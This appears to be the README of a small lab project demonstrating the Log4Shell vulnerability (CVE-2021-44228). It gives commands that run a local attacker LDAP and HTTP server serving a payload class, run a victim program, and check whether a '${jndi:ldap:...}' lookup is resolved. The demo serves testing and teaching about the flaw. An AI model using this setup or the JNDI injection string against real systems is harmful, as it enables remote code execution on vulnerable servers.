sample-ldap-exploit

A short demo of CVE-2021-44228

Build

$ mvn clean verify

Run Attacker

$ java \
  -cp 'attacker/target/sample-attacker.jar:attacker/target/lib/*' \
  sample.attacker.Attacker localhost 1389 sample.payload.Payload 8080 payload/target/sample-payload.jar

URLs:

• http://localhost:8080/
• http://localhost:8080/sample/payload/Payload.class

Run Victim

$ java \
  -cp 'victim/target/sample-victim.jar:victim/target/lib/*' \
  sample.victim.Victim

Results

JDK / JRE

If NOT vulnerable, an instance of javax.naming.Reference is returned from javax.naming.Context.lookup().

If NOT vulnerable to loading classes from remote code bases, other Java deserialization vulnerabilities probably still exist!

log4j

If NOT vulnerable, ${jndi:ldap:...} is NOT resolved.